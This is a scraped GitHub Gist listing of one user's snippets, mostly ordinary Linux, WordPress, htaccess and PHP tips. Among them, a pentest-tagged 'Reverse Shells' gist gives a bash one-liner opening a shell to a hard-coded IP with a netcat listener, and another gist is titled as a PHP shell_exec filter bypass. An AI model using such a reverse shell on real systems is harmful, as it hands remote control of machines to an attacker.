Skip to content

Instantly share code, notes, and snippets.

Vpnwall Services vpnwall-services

Block or report user

Report or block vpnwall-services

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@vpnwall-services
vpnwall-services / LINUX-101.md
Last active Nov 21, 2019
[LINUX 101] Linux 101 #linux #101 #green #symlinks
View LINUX-101.md

LINUX 101

De-greener chmod -R a-x,o-w,+X thatGreenFolderWithSubfolders/

Purge looped symlinks find . -follow -printf ""

@vpnwall-services
vpnwall-services / FORENSICS-101.md
Last active Nov 20, 2019
[FORENSICS 101] Forensics 101 #linux # forensics #101
View FORENSICS-101.md

FORENSICS 101

Find number of established connections on system :

netstat -an|grep ESTABLISHED|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|awk '{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'

Trigger OOM killer without rebooting :

echo 1 > /proc/sys/kernel/sysrq;echo f > /proc/sysrq-trigger;echo 0 > /proc/sys/kernel/sysrq

@vpnwall-services
vpnwall-services / sysctl.conf
Created Nov 17, 2019
[Disable IP V6 Debian] Disable IPV6 on Debian #bash #linux #debian #disable #ipv6
View sysctl.conf
# do a sysctl -p to reload configuration without rebooting
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
net.ipv6.conf.eth0.disable_ipv6 = 1
net.ipv6.conf.eth1.disable_ipv6 = 1
net.ipv6.conf.ppp0.disable_ipv6 = 1
net.ipv6.conf.tun0.disable_ipv6 = 1
@vpnwall-services
vpnwall-services / WACC.sh
Created Nov 14, 2019
[Wordpress Automated Content Creator] Wordpress automated content creator #wordpress #bash #script #wpcli #content #creator
View WACC.sh
#!/bin/bash
for CATEGORY in $(ls customername-import)
do
echo $CATEGORY
for line in $(cat customername-import/$CATEGORY/list)
do
POST_ID=$(sudo -u www-data wp post create --post_author=11 --post_content="" --post_title=$line --post_category=$CATEGORY --porcelain)
echo $POST_ID >> thislist
echo customername-import/$CATEGORY/$line
@vpnwall-services
vpnwall-services / .htaccess
Last active Nov 7, 2019
[Common HTACCESS Redirections] Common Htaccess redirections #php #htaccess #redirection #rewrite #url
View .htaccess
#301 Redirects for .htaccess
#Redirect a single page:
Redirect 301 /pagename.php http://www.domain.com/pagename.html
#Redirect an entire site:
Redirect 301 / http://www.domain.com/
#Redirect an entire site to a sub folder
Redirect 301 / http://www.domain.com/subfolder/
@vpnwall-services
vpnwall-services / vardump.php
Created Nov 6, 2019
[Vardump to file Php vardump to file] #php #vardump #file #output #json #encoded #serialize
View vardump.php
<?php
$file = '/tmp/file';
$content = json_encode($data);
file_put_contents($file, $content);
$content = json_decode(file_get_contents($file), TRUE);
?>
@vpnwall-services
vpnwall-services / README.md
Last active Nov 5, 2019
[Bypass PHP shell_exec filters] Bypass PHP shell_exec filters #php #pentest #exploit #fields #bypass #filters #shell_exec
View README.md
@vpnwall-services
vpnwall-services / forcefiledownload.htaccess
Last active Oct 31, 2019
[Force File Download on IE] Force file download on IE #force #file #download #ie
View forcefiledownload.htaccess
# IE: force download of .xxx files
AddType application/octect-stream .xxx
<Files *.xxx>
ForceType application/octet-stream
Header Set Content-Disposition attachment
</Files>
@vpnwall-services
vpnwall-services / reverse-shells.md
Created Oct 29, 2019
[Reverse Shells] Reverse Shells #linux #windows #reverseshell #reverse #shell #pentest
View reverse-shells.md

REVERSE SHELLS

BASH

Target : bash -i >& /dev/tcp/176.31.166.251/4444 0>&1

Attacker : nc -lvp 4444

@vpnwall-services
vpnwall-services / README.md
Created Oct 29, 2019
[URL to Wordpress Page] URL to Wordpress page #apache2 #ash #wordpress #redirection
View README.md
You can’t perform that action at this time.